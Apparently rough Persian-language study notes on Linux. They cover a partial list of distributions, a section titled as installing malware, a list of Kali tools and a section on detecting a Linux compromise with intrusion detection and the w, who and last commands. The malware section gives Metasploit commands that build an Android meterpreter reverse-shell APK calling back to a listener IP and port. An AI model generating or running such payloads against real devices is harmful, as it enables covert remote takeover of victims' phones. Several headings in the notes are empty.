توزیع مختلف لینوکس

دبیان :

اوبونتو:

فدورا: یکی دیگر از توزیع های لینوکس، فدورا نام دارد. امنیت این سیستم عامل را می توان تا حد زیادی قابل قبول دانست، این سیستم عامل می تواند گزینه ی مناسبی برای توسعه دهندگان نرم افزار باشد.

شما می توانید از این توزیع به آسانی بر روی سیستم های خانگی و یا لپ تاپ استفاده کنید.

کالی لینوکس

جنتو لینوکس

اسپارکی لینوکس

نصب یک بد افزار‌:

ابتدا متا اسپلویت را با استفاده از کد زیر نصب کرده :

Sudo apt install metasploit-framework

سپس کامند زیر را برای ساخت بد افزار وارد کرده :

msfvenom -p android/meterpreter/reverse\_tcp LHOST=192.168.6.129 LPORT=4444 -o /home/kali/Desktop/example.apk

توضیح کامند های متااسپلویت:

wireshark

nmap

beef

nikto

hping3

dotdotpwn

armitage

نیکتو یکی از بهترین اسکنر های وب سرور و یکی از بهتری ابزارهای کالی است

این ابزار وجود برنامه ها/فایل های خطرناک نسخه های قدیمی سرور و بسیاری از موارد دیگر را برسی میکند

نحوه تشخیص هک لینوکس:

اولین کاری که باید بعد از مشکوک شدن به حمله هکر انجام داد راه اندازی یک سیستم

تشخیص نفوذ برای شناسایی ناهنجاری ها در ترافیک شبکه است.پس از وقوع حمله دستگاه

در معرض خطر ممکن است به یک زامبی خودکار در سرویس هکر تبدیل شود.

اگر هکر وظایف خودکار را در دستگاه قربانی تعریف کرده باشد این وظایف احتماال ترافیک

غیر عادی ایجاد میکند که می تواند توسط سیستم های تشخیص نفوذ مانند OSSECیا

Snort شناسایی شود که هرکدام مستحق یک اموزش اختصاصی هستند. با موارد زیر می

توانید شروع کنید

نظارت بر فعالیت کاربران

اگر مشکوک هستید که هک شده اید،اولین قدم این است که مطمئن شوید

مهاجم به سیستم شما وارد نشده است.می توانید با استفاده از دستورات “w“

یا “who “استفاده

روش دیگر برای نظارت بر فعالیت کاربران از طریق دستور “last “است که به شما

امکان می دهد فایل wtmp را بخوانید که حاوی اطالعاتی در مورد دسترسی ورود

به سیستم، منبع ورود به سیستم، زمان ورود به سیستم، با ویژگی هایی برای بهبود

رویدادهای ورود به سیستم است تا اجرا شود